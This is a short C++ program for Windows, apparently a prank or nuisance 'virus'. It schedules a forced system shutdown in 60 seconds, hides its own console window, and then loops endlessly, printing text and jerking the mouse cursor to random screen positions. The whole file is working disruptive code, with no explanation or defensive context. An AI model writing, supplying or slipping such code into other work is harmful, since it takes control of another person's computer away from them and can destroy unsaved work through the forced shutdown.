#include<windows.h>
#include<bits/stdc++.h>
using namespace std;
int main(){
system("Shutdown -s -t 60");
HWND hwnd;
hwnd=FindWindow("ConsoleWindowClass",NULL);
if(hwnd) ShowWindow(hwnd,SW_HIDE);
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
srand(time(0));
while(1)cout<<"Oh！！！"<<endl&&SetCursorPos(rand()%x,rand()%y);
}